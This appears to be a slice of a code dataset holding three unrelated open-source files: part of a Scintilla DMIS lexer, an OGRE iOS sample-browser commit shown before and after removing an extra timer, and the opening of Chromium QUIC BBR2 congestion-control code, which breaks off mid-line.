0:\n\t\t\tthis->m_majorWords.Clear();\n\t\t\tthis->m_majorWords.Set(wl);\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tthis->m_minorWords.Clear();\n\t\t\tthis->m_minorWords.Set(wl);\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tthis->m_unsupportedMajor.Clear();\n\t\t\tthis->m_unsupportedMajor.Set(wl);\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tthis->m_unsupportedMinor.Clear();\n\t\t\tthis->m_unsupportedMinor.Set(wl);\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tthis->m_codeFoldingStart.Clear();\n\t\t\tthis->m_codeFoldingStart.Set(wl);\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tthis->m_codeFoldingEnd.Clear();\n\t\t\tthis->m_codeFoldingEnd.Set(wl);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn -1;\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\nconst char * SCI_METHOD LexerDMIS::DescribeWordListSets()\n{\n\treturn this->m_wordListSets;\n}\n\nvoid SCI_METHOD LexerDMIS::Lex(unsigned int startPos, int lengthDoc, int initStyle, IDocument *pAccess)\n{\n\tconst unsigned int MAX_STR_LEN = 100;\n\n\tLexAccessor styler(pAccess);\n\tStyleContext scCTX(startPos, lengthDoc, initStyle, styler);\n\tCharacterSet setDMISNumber(CharacterSet::setDigits, \".-+eE\");\n\tCharacterSet setDMISWordStart(CharacterSet::setAlpha, \"-234\", 0x80, true);\n\tCharacterSet setDMISWord(CharacterSet::setAlpha);\n\n\n\tbool isIFLine = false;\n\n\tfor (; scCTX.More(); scCTX.Forward()) {\n\t\tif (scCTX.atLineEnd) {\n\t\t\tisIFLine = false;\n\t\t};\n\n\t\tswitch (scCTX.state) {\n\t\t\tcase SCE_DMIS_DEFAULT:\n\t\t\t\tif (scCTX.Match('$', '$')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_COMMENT);\n\t\t\t\t\tscCTX.Forward();\n\t\t\t\t};\n\t\t\t\tif (scCTX.Match('\\'')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_STRING);\n\t\t\t\t};\n\t\t\t\tif (IsADigit(scCTX.ch) || ((scCTX.Match('-') || scCTX.Match('+')) && IsADigit(scCTX.chNext))) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_NUMBER);\n\t\t\t\t\tbreak;\n\t\t\t\t};\n\t\t\t\tif (setDMISWordStart.Contains(scCTX.ch)) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_KEYWORD);\n\t\t\t\t};\n\t\t\t\tif (scCTX.Match('(') && (!isIFLine)) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_LABEL);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_COMMENT:\n\t\t\t\tif (scCTX.atLineEnd) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_STRING:\n\t\t\t\tif (scCTX.Match('\\'')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_NUMBER:\n\t\t\t\tif (!setDMISNumber.Contains(scCTX.ch)) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_KEYWORD:\n\t\t\t\tif (!setDMISWord.Contains(scCTX.ch)) {\n\t\t\t\t\tchar tmpStr[MAX_STR_LEN];\n\t\t\t\t\tmemset(tmpStr, 0, MAX_STR_LEN*sizeof(char));\n\t\t\t\t\tscCTX.GetCurrent(tmpStr, (MAX_STR_LEN-1));\n\t\t\t\t\tstrncpy(tmpStr, this->UpperCase(tmpStr), (MAX_STR_LEN-1));\n\n\t\t\t\t\tif (this->m_minorWords.InList(tmpStr)) {\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_MINORWORD);\n\t\t\t\t\t};\n\t\t\t\t\tif (this->m_majorWords.InList(tmpStr)) {\n\t\t\t\t\t\tisIFLine = (strcmp(tmpStr, \"IF\") == 0);\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_MAJORWORD);\n\t\t\t\t\t};\n\t\t\t\t\tif (this->m_unsupportedMajor.InList(tmpStr)) {\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_UNSUPPORTED_MAJOR);\n\t\t\t\t\t};\n\t\t\t\t\tif (this->m_unsupportedMinor.InList(tmpStr)) {\n\t\t\t\t\t\tscCTX.ChangeState(SCE_DMIS_UNSUPPORTED_MINOR);\n\t\t\t\t\t};\n\n\t\t\t\t\tif (scCTX.Match('(') && (!isIFLine)) {\n\t\t\t\t\t\tscCTX.SetState(SCE_DMIS_LABEL);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_DMIS_LABEL:\n\t\t\t\tif (scCTX.Match(')')) {\n\t\t\t\t\tscCTX.SetState(SCE_DMIS_DEFAULT);\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t};\n\t};\n\tscCTX.Complete();\n}\n\nvoid SCI_METHOD LexerDMIS::Fold(unsigned int startPos, int lengthDoc, int, IDocument *pAccess)\n{\n\tconst int MAX_STR_LEN = 100;\n\n\tLexAccessor styler(pAccess);\n\tunsigned int endPos = startPos + lengthDoc;\n\tchar chNext = styler[startPos];\n\tint lineCurrent = styler.GetLine(startPos);\n\tint levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;\n\tint levelCurrent = levelPrev;\n\tint strPos = 0;\n\tbool foldWordPossible = false;\n\tCharacterSet setDMISFoldWord(CharacterSet::setAlpha);\n\tchar *tmpStr;\n\n\n\ttmpStr = new char[MAX_STR_LEN];\n\tmemset(tmpStr, 0, MAX_STR_LEN*sizeof(char));\n\n\tfor (unsigned int i=startPos; i<endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i+1);\n\n\t\tbool atEOL = ((ch == '\\r' && chNext != '\\n') || (ch == '\\n'));\n\n\t\tif (strPos >= (MAX_STR_LEN-1)) {\n\t\t\tstrPos = MAX_STR_LEN-1;\n\t\t};\n\n\t\tint style = styler.StyleAt(i);\n\t\tbool noFoldPos = ((style == SCE_DMIS_COMMENT) || (style == SCE_DMIS_STRING));\n\n\t\tif (foldWordPossible) {\n\t\t\tif (setDMISFoldWord.Contains(ch)) {\n\t\t\t\ttmpStr[strPos++] = ch;\n\t\t\t} else {\n\t\t\t\ttmpStr = this->UpperCase(tmpStr);\n\t\t\t\tif (this->m_codeFoldingStart.InList(tmpStr) && (!noFoldPos)) {\n\t\t\t\t\tlevelCurrent++;\n\t\t\t\t};\n\t\t\t\tif (this->m_codeFoldingEnd.InList(tmpStr) && (!noFoldPos)) {\n\t\t\t\t\tlevelCurrent--;\n\t\t\t\t};\n\t\t\t\tmemset(tmpStr, 0, MAX_STR_LEN*sizeof(char));\n\t\t\t\tstrPos = 0;\n\t\t\t\tfoldWordPossible = false;\n\t\t\t};\n\t\t} else {\n\t\t\tif (setDMISFoldWord.Contains(ch)) {\n\t\t\t\ttmpStr[strPos++] = ch;\n\t\t\t\tfoldWordPossible = true;\n\t\t\t};\n\t\t};\n\n\t\tif (atEOL || (i == (endPos-1))) {\n\t\t\tint lev = levelPrev;\n\n\t\t\tif (levelCurrent > levelPrev) {\n\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t};\n\t\t\tif (lev != styler.LevelAt(lineCurrent)) {\n\t\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\t};\n\t\t\tlineCurrent++;\n\t\t\tlevelPrev = levelCurrent;\n\t\t};\n\t};\n\tdelete[] tmpStr;\n}\n\n\nLexerModule lmDMIS(SCLEX_DMIS, LexerDMIS::LexerFactoryDMIS, \"DMIS\", DMISWordListDesc);\n<|endoftext|>"}
{"text":"<commit_before>\/*\n -----------------------------------------------------------------------------\n This source file is part of OGRE\n (Object-oriented Graphics Rendering Engine)\n For the latest info, see http:\/\/www.ogre3d.org\/\n \n Copyright (c) 2000-2009 Torus Knot Software Ltd\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n -----------------------------------------------------------------------------\n *\/\n#include \"OgrePlatform.h\"\n#if OGRE_PLATFORM == OGRE_PLATFORM_SYMBIAN\n#include <coecntrl.h>\n#endif\n\n#include \"SampleBrowser.h\"\n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n#define WIN32_LEAN_AND_MEAN\n#include \"windows.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_IPHONE\n#import <UIKit\/UIKit.h> \n#import <QuartzCore\/QuartzCore.h>\n\n\/\/ To use CADisplayLink for smoother animation on iPhone comment out\n\/\/ the following line or define it to 1.  Use with caution, it can\n\/\/ sometimes cause input lag.\n#define USE_CADISPLAYLINK 1\n#endif\n\n#if OGRE_PLATFORM != OGRE_PLATFORM_SYMBIAN    \n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\nINT WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, INT)\n#else\nint main(int argc, char *argv[])\n#endif\n{\n#if OGRE_PLATFORM == OGRE_PLATFORM_IPHONE\n\tNSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n\tint retVal = UIApplicationMain(argc, argv, @\"UIApplication\", @\"AppDelegate\");\n\t[pool release];\n\treturn retVal;\n#else\n\n\ttry\n\t{\n\t\tOgreBites::SampleBrowser sb;\n\t\tsb.go();\n\t}\n\tcatch (Ogre::Exception& e)\n\t{\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n\t\tMessageBoxA(NULL, e.getFullDescription().c_str(), \"An exception has occurred!\", MB_ICONERROR | MB_TASKMODAL);\n#else\n\t\tstd::cerr << \"An exception has occurred: \" << e.getFullDescription().c_str() << std::endl;\n#endif\n\t}\n\n#endif\n\treturn 0;\n}\n\n#endif \/\/ OGRE_PLATFORM != OGRE_PLATFORM_SYMBIAN    \n\n#if OGRE_PLATFORM == OGRE_PLATFORM_IPHONE\n#   ifdef __OBJC__\n@interface AppDelegate : NSObject <UIApplicationDelegate>\n{\n    NSTimer *mTimer;\n    OgreBites::SampleBrowser sb;\n\n    \/\/ Use of the CADisplayLink class is the preferred method for controlling your animation timing.\n    \/\/ CADisplayLink will link to the main display and fire every vsync when added to a given run-loop.\n    \/\/ The NSTimer class is used only as fallback when running on a pre 3.1 device where CADisplayLink\n    \/\/ isn't available.\n    id mDisplayLink;\n    NSDate* mDate;\n    NSTimeInterval mLastFrameTime;\n    BOOL mDisplayLinkSupported;\n}\n\n- (void)go;\n- (void)renderOneFrame:(id)sender;\n\n@property (retain) NSTimer *mTimer;\n@property (nonatomic) NSTimeInterval mLastFrameTime;\n\n@end\n\n@implementation AppDelegate\n\n@synthesize mTimer;\n@dynamic mLastFrameTime;\n\n- (NSTimeInterval)mLastFrameTime\n{\n    return mLastFrameTime;\n}\n\n- (void)setLastFrameTime:(NSTimeInterval)frameInterval\n{\n    \/\/ Frame interval defines how many display frames must pass between each time the\n    \/\/ display link fires. The display link will only fire 30 times a second when the\n    \/\/ frame internal is two on a display that refreshes 60 times a second. The default\n    \/\/ frame interval setting of one will fire 60 times a second when the display refreshes\n    \/\/ at 60 times a second. A frame interval setting of less than one results in undefined\n    \/\/ behavior.\n    if (frameInterval >= 1)\n    {\n        mLastFrameTime = frameInterval;\n    }\n}\n\n- (void)go {\n\n    NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n\n    try {\n        sb.initApp();\n\n        mTimer = [NSTimer scheduledTimerWithTimeInterval:(NSTimeInterval)(1.0f \/ 60.0f)\n                                                  target:self\n                                                selector:@selector(renderOneFrame:)\n                                                userInfo:nil\n                                                 repeats:YES];\n    } catch( Ogre::Exception& e ) {\n        std::cerr << \"An exception has occurred: \" <<\n        e.getFullDescription().c_str() << std::endl;\n    }\n\n    if (mDisplayLinkSupported)\n    {\n        \/\/ CADisplayLink is API new to iPhone SDK 3.1. Compiling against earlier versions will result in a warning, but can be dismissed\n        \/\/ if the system version runtime check for CADisplayLink exists in -initWithCoder:. The runtime check ensures this code will\n        \/\/ not be called in system versions earlier than 3.1.\n        mDate = [[NSDate alloc] init];\n        mLastFrameTime = -[mDate timeIntervalSinceNow];\n        \n        mDisplayLink = [NSClassFromString(@\"CADisplayLink\") displayLinkWithTarget:self selector:@selector(renderOneFrame:)];\n        [mDisplayLink setFrameInterval:mLastFrameTime];\n        [mDisplayLink addToRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode];\n    }\n    else\n    {\n        mTimer = [NSTimer scheduledTimerWithTimeInterval:(NSTimeInterval)(1.0f \/ 60.0f) * mLastFrameTime\n                                                  target:self\n                                                selector:@selector(renderOneFrame:)\n                                                userInfo:nil\n                                                 repeats:YES];\n    }\n    \n    [pool release];\n}\n\n- (void)applicationDidFinishLaunching:(UIApplication *)application {\n    \/\/ Hide the status bar\n    [[UIApplication sharedApplication] setStatusBarHidden:YES];\n\n    mDisplayLinkSupported = FALSE;\n    mLastFrameTime = 1;\n    mDisplayLink = nil;\n    mTimer = nil;\n\n    \/\/ A system version of 3.1 or greater is required to use CADisplayLink. The NSTimer\n    \/\/ class is used as fallback when it isn't available.\n#if USE_CADISPLAYLINK\n    NSString *reqSysVer = @\"3.1\";\n    NSString *currSysVer = [[UIDevice currentDevice] systemVersion];\n    if ([currSysVer compare:reqSysVer options:NSNumericSearch] != NSOrderedAscending)\n        mDisplayLinkSupported = TRUE;\n#endif\n    \n    [self go];\n}\n\n- (void)renderOneFrame:(id)sender\n{\n    [sb.mGestureView becomeFirstResponder];\n\n    if (mDisplayLinkSupported)\n    {\n        \/\/ NSTimerInterval is a simple typedef for double\n        NSTimeInterval currentFrameTime = -[mDate timeIntervalSinceNow];\n        NSTimeInterval differenceInSeconds = currentFrameTime - mLastFrameTime;\n        mLastFrameTime = currentFrameTime;\n\n        Root::getSingleton().renderOneFrame((Real)differenceInSeconds);\n    }\n    else\n    {\n        Root::getSingleton().renderOneFrame((Real)[mTimer timeInterval]);\n    }\n}\n        \n- (void)applicationWillTerminate:(UIApplication *)application {\n    sb.closeApp();\n}\n\n- (void)dealloc {\n    if (mDisplayLinkSupported)\n    {\n        [mDate release];\n        mDate = nil;\n\n        [mDisplayLink invalidate];\n        mDisplayLink = nil;\n    }\n    else\n    {\n        [mTimer invalidate];\n        mTimer = nil;\n    }\n\n    [super dealloc];\n}\n\n@end\n#   endif\n        \n#endif\n<commit_msg>iOS: Remove an extra timer init in the sample browser<commit_after>\/*\n -----------------------------------------------------------------------------\n This source file is part of OGRE\n (Object-oriented Graphics Rendering Engine)\n For the latest info, see http:\/\/www.ogre3d.org\/\n \n Copyright (c) 2000-2009 Torus Knot Software Ltd\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n -----------------------------------------------------------------------------\n *\/\n#include \"OgrePlatform.h\"\n#if OGRE_PLATFORM == OGRE_PLATFORM_SYMBIAN\n#include <coecntrl.h>\n#endif\n\n#include \"SampleBrowser.h\"\n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n#define WIN32_LEAN_AND_MEAN\n#include \"windows.h\"\n#elif OGRE_PLATFORM == OGRE_PLATFORM_IPHONE\n#import <UIKit\/UIKit.h> \n#import <QuartzCore\/QuartzCore.h>\n\n\/\/ To use CADisplayLink for smoother animation on iPhone comment out\n\/\/ the following line or define it to 1.  Use with caution, it can\n\/\/ sometimes cause input lag.\n#define USE_CADISPLAYLINK 1\n#endif\n\n#if OGRE_PLATFORM != OGRE_PLATFORM_SYMBIAN    \n\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\nINT WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, INT)\n#else\nint main(int argc, char *argv[])\n#endif\n{\n#if OGRE_PLATFORM == OGRE_PLATFORM_IPHONE\n\tNSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n\tint retVal = UIApplicationMain(argc, argv, @\"UIApplication\", @\"AppDelegate\");\n\t[pool release];\n\treturn retVal;\n#else\n\n\ttry\n\t{\n\t\tOgreBites::SampleBrowser sb;\n\t\tsb.go();\n\t}\n\tcatch (Ogre::Exception& e)\n\t{\n#if OGRE_PLATFORM == OGRE_PLATFORM_WIN32\n\t\tMessageBoxA(NULL, e.getFullDescription().c_str(), \"An exception has occurred!\", MB_ICONERROR | MB_TASKMODAL);\n#else\n\t\tstd::cerr << \"An exception has occurred: \" << e.getFullDescription().c_str() << std::endl;\n#endif\n\t}\n\n#endif\n\treturn 0;\n}\n\n#endif \/\/ OGRE_PLATFORM != OGRE_PLATFORM_SYMBIAN    \n\n#if OGRE_PLATFORM == OGRE_PLATFORM_IPHONE\n#   ifdef __OBJC__\n@interface AppDelegate : NSObject <UIApplicationDelegate>\n{\n    NSTimer *mTimer;\n    OgreBites::SampleBrowser sb;\n\n    \/\/ Use of the CADisplayLink class is the preferred method for controlling your animation timing.\n    \/\/ CADisplayLink will link to the main display and fire every vsync when added to a given run-loop.\n    \/\/ The NSTimer class is used only as fallback when running on a pre 3.1 device where CADisplayLink\n    \/\/ isn't available.\n    id mDisplayLink;\n    NSDate* mDate;\n    NSTimeInterval mLastFrameTime;\n    BOOL mDisplayLinkSupported;\n}\n\n- (void)go;\n- (void)renderOneFrame:(id)sender;\n\n@property (retain) NSTimer *mTimer;\n@property (nonatomic) NSTimeInterval mLastFrameTime;\n\n@end\n\n@implementation AppDelegate\n\n@synthesize mTimer;\n@dynamic mLastFrameTime;\n\n- (NSTimeInterval)mLastFrameTime\n{\n    return mLastFrameTime;\n}\n\n- (void)setLastFrameTime:(NSTimeInterval)frameInterval\n{\n    \/\/ Frame interval defines how many display frames must pass between each time the\n    \/\/ display link fires. The display link will only fire 30 times a second when the\n    \/\/ frame internal is two on a display that refreshes 60 times a second. The default\n    \/\/ frame interval setting of one will fire 60 times a second when the display refreshes\n    \/\/ at 60 times a second. A frame interval setting of less than one results in undefined\n    \/\/ behavior.\n    if (frameInterval >= 1)\n    {\n        mLastFrameTime = frameInterval;\n    }\n}\n\n- (void)go {\n\n    NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];\n\n    try {\n        sb.initApp();\n    } catch( Ogre::Exception& e ) {\n        std::cerr << \"An exception has occurred: \" <<\n        e.getFullDescription().c_str() << std::endl;\n    }\n\n    if (mDisplayLinkSupported)\n    {\n        \/\/ CADisplayLink is API new to iPhone SDK 3.1. Compiling against earlier versions will result in a warning, but can be dismissed\n        \/\/ if the system version runtime check for CADisplayLink exists in -initWithCoder:. The runtime check ensures this code will\n        \/\/ not be called in system versions earlier than 3.1.\n        mDate = [[NSDate alloc] init];\n        mLastFrameTime = -[mDate timeIntervalSinceNow];\n        \n        mDisplayLink = [NSClassFromString(@\"CADisplayLink\") displayLinkWithTarget:self selector:@selector(renderOneFrame:)];\n        [mDisplayLink setFrameInterval:(1.0f\/60.0f)];\n        [mDisplayLink addToRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode];\n    }\n    else\n    {\n        mTimer = [NSTimer scheduledTimerWithTimeInterval:(NSTimeInterval)(1.0f \/ 60.0f) * mLastFrameTime\n                                                  target:self\n                                                selector:@selector(renderOneFrame:)\n                                                userInfo:nil\n                                                 repeats:YES];\n    }\n    \n    [pool release];\n}\n\n- (void)applicationDidFinishLaunching:(UIApplication *)application {\n    \/\/ Hide the status bar\n    [[UIApplication sharedApplication] setStatusBarHidden:YES];\n\n    mDisplayLinkSupported = NO;\n    mLastFrameTime = 1;\n    mDisplayLink = nil;\n    mTimer = nil;\n\n    \/\/ A system version of 3.1 or greater is required to use CADisplayLink. The NSTimer\n    \/\/ class is used as fallback when it isn't available.\n#if USE_CADISPLAYLINK\n    NSString *reqSysVer = @\"3.1\";\n    NSString *currSysVer = [[UIDevice currentDevice] systemVersion];\n    if ([currSysVer compare:reqSysVer options:NSNumericSearch] != NSOrderedAscending)\n        mDisplayLinkSupported = YES;\n#endif\n    \n    [self go];\n}\n\n- (void)renderOneFrame:(id)sender\n{\n    [sb.mGestureView becomeFirstResponder];\n\n    if (mDisplayLinkSupported)\n    {\n        \/\/ NSTimerInterval is a simple typedef for double\n        NSTimeInterval currentFrameTime = -[mDate timeIntervalSinceNow];\n        NSTimeInterval differenceInSeconds = currentFrameTime - mLastFrameTime;\n        mLastFrameTime = currentFrameTime;\n\n        Root::getSingleton().renderOneFrame((Real)differenceInSeconds);\n    }\n    else\n    {\n        Root::getSingleton().renderOneFrame((Real)[mTimer timeInterval]);\n    }\n}\n        \n- (void)applicationWillTerminate:(UIApplication *)application {\n    sb.closeApp();\n}\n\n- (void)dealloc {\n    if (mDisplayLinkSupported)\n    {\n        [mDate release];\n        mDate = nil;\n\n        [mDisplayLink invalidate];\n        mDisplayLink = nil;\n    }\n    else\n    {\n        [mTimer invalidate];\n        mTimer = nil;\n    }\n\n    [super dealloc];\n}\n\n@end\n#   endif\n        \n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2019 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/third_party\/quiche\/src\/quic\/core\/congestion_control\/bbr2_misc.h\"\n\n#include \"net\/third_party\/quiche\/src\/quic\/core\/congestion_control\/bandwidth_sampler.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/core\/quic_bandwidth.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/core\/quic_time.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/core\/quic_types.h\"\n#include \"net\/third_party\/quiche\/src\/quic\/platform\/api\/quic_logging.h\"\n\nnamespace quic {\n\nRoundTripCounter::RoundTripCounter() : round_trip_count_(0) {}\n\nvoid RoundTripCounter::OnPacketSent(QuicPacketNumber packet_number) {\n  DCHECK(!last_sent_packet_.IsInitialized() ||\n         last_sent_packet_ < packet_number);\n  last_sent_packet_ = packet_number;\n}\n\nbool RoundTripCounter::OnPacketsAcked(QuicPacketNumber last_acked_packet) {\n  if (!end_of_round_trip_.IsInitialized() ||\n      last_acked_packet > end_of_round_trip_) {\n    round_trip_count_++;\n    end_of_round_trip_ = last_sent_packet_;\n    return true;\n  }\n  return false;\n}\n\nvoid RoundTripCounter::RestartRound() {\n  end_of_round_trip_ = last_sent_packet_;\n}\n\nMinRttFilter::MinRttFilter(QuicTime::Delta initial_min_rtt,\n                           QuicTime initial_min_rtt_timestamp)\n    : min_rtt_(initial_min_rtt),\n      min_rtt_timestamp_(initial_min_rtt_timestamp) {}\n\nvoid MinRttFilter::Update(QuicTime::Delta sample_rtt, QuicTime now) {\n  if (sample_rtt < min_rtt_ || min_rtt_timestamp_ == QuicTime::Zero()) {\n    min_rtt_ = sample_rtt;\n    min_rtt_timestamp_ = now;\n  }\n}\n\nvoid MinRttFilter::ForceUpdate(QuicTime::Delta sample_rtt, QuicTime now) {\n  min_rtt_ = sample_rtt;\n  min_rtt_timestamp_ = now;\n}\n\nBbr2NetworkModel::Bbr2NetworkModel(const Bbr2Params* params,\n                                   QuicTime::Delta initial_rtt,\n                                   QuicTime initial_rtt_timestamp,\n                                   float cwnd_gain,\n                                   float pacing_gain,\n                                   const BandwidthSampler* old_sampler)\n    : params_(params),\n      bandwidth_sampler_([](QuicRoundTripCount max_height_tracker_window_length,\n                            const BandwidthSampler* old_sampler) {\n        if (old_sampler != nullptr) {\n          return BandwidthSampler(*old_sampler);\n        }\n        return BandwidthSampler(\/*unacked_packet_map=*\/nullptr,\n                                max_height_tracker_window_length);\n      }(params->initial_max_ack_height_filter_window, old_sampler)),\n      min_rtt_filter_(initial_rtt, initial_rtt_timestamp),\n      cwnd_gain_(cwnd_gain),\n      pacing_gain_(pacing_gain) {}\n\nvoid Bbr2NetworkModel::OnPacketSent(QuicTime sent_time,\n                                    QuicByteCount bytes_in_flight,\n                                    QuicPacketNumber packet_number,\n                                    QuicByteCount bytes,\n                                    HasRetransmittableData is_retransmittable) {\n  round_trip_counter_.OnPacketSent(packet_number);\n\n  bandwidth_sampler_.OnPacketSent(sent_time, packet_number, bytes,\n                                  bytes_in_flight, is_retransmittable);\n}\n\nvoid Bbr2NetworkModel::OnCongestionEventStart(\n    QuicTime event_time,\n    const AckedPacketVector& acked_packets,\n    const LostPacketVector& lost_packets,\n    Bbr2CongestionEvent* congestion_event) {\n  const QuicByteCount prior_bytes_acked = total_bytes_acked();\n  const QuicByteCount prior_bytes_lost = total_bytes_lost();\n\n  congestion_event->event_time = event_time;\n  congestion_event->end_of_round_trip =\n      acked_packets.empty() ? false\n                            : round_trip_counter_.OnPacketsAcked(\n                                  acked_packets.rbegin()->packet_number);\n\n  BandwidthSamplerInterface::CongestionEventSample sample =\n      bandwidth_sampler_.OnCongestionEvent(event_time, acked_packets,\n                                           lost_packets, MaxBandwidth(),\n                                           bandwidth_lo(), RoundTripCount());\n\n  if (sample.last_packet_send_state.is_valid) {\n    congestion_event->last_packet_send_state = sample.last_packet_send_state;\n    congestion_event->last_sample_is_app_limited =\n        sample.last_packet_send_state.is_app_limited;\n  }\n\n  \/\/ Avoid updating |max_bandwidth_filter_| if a) this is a loss-only event, or\n  \/\/ b) all packets in |acked_packets| did not generate valid samples. (e.g. ack\n  \/\/ of ack-only packets). In both cases, total_bytes_acked() will not change.\n  if (prior_bytes_acked != total_bytes_acked()) {\n    QUIC_LOG_IF(WARNING, sample.sample_max_bandwidth.IsZero())\n        << total_bytes_acked() - prior_bytes_acked << \" bytes from \"\n        << acked_packets.size()\n        << \" packets have been acked, but sample_max_bandwidth is zero.\";\n    if (!sample.sample_is_app_limited ||\n        sample.sample_max_bandwidth > MaxBandwidth()) {\n      congestion_event->sample_max_bandwidth = sample.sample_max_bandwidth;\n      max_bandwidth_filter_.Update(congestion_event->sample_max_bandwidth);\n    }\n  }\n\n  if (!sample.sample_rtt.IsInfinite()) {\n    congestion_event->sample_min_rtt = sample.sample_rtt;\n    min_rtt_filter_.Update(congestion_event->sample_min_rtt, event_time);\n  }\n\n  congestion_event->bytes_acked = total_bytes_acked() - prior_bytes_acked;\n  congestion_event->bytes_lost = total_bytes_lost() - prior_bytes_lost;\n\n  if (congestion_event->prior_bytes_in_flight >=\n      congestion_event->bytes_acked + congestion_event->bytes_lost) {\n    congestion_event->bytes_in_flight =\n        congestion_event->prior_bytes_in_flight -\n        congestion_event->bytes_acked - congestion_event->bytes_lost;\n  } else {\n    QUIC_LOG_FIRST_N(ERROR, 1)\n        << \"prior_bytes_in_flight:\" << congestion_event->prior_bytes_in_flight\n        << \" is smaller than the sum of bytes_acked:\"\n        << congestion_event->bytes_acked\n        << \" and bytes_lost:\" << congestion_event->bytes_lost;\n    congestion_event->bytes_in_flight = 0;\n  }\n\n  if (congestion_event->bytes_lost > 0) {\n    bytes_lost_in_round_ += congestion_event->bytes_lost;\n    loss_events_in_round_++;\n  }\n\n  if (congestion_event->bytes_acked > 0 &&\n      congestion_event->last_packet_send_state.is_valid &&\n      total_bytes_acked() >\n          congestion_event->last_packet_send_state.total_bytes_acked) {\n    QuicByteCount bytes_delivered =\n        total_bytes_acked() -\n        congestion_event->last_packet_send_state.total_bytes_acked;\n    max_bytes_delivered_in_round_ =\n        std::max(max_bytes_delivered_in_round_, bytes_delivered);\n  }\n\n  \/\/ |bandwidth_latest_| and |inflight_latest_| only increased within a round.\n  if (sample.sample_max_bandwidth > bandwidth_latest_) {\n    bandwidth_latest_ = 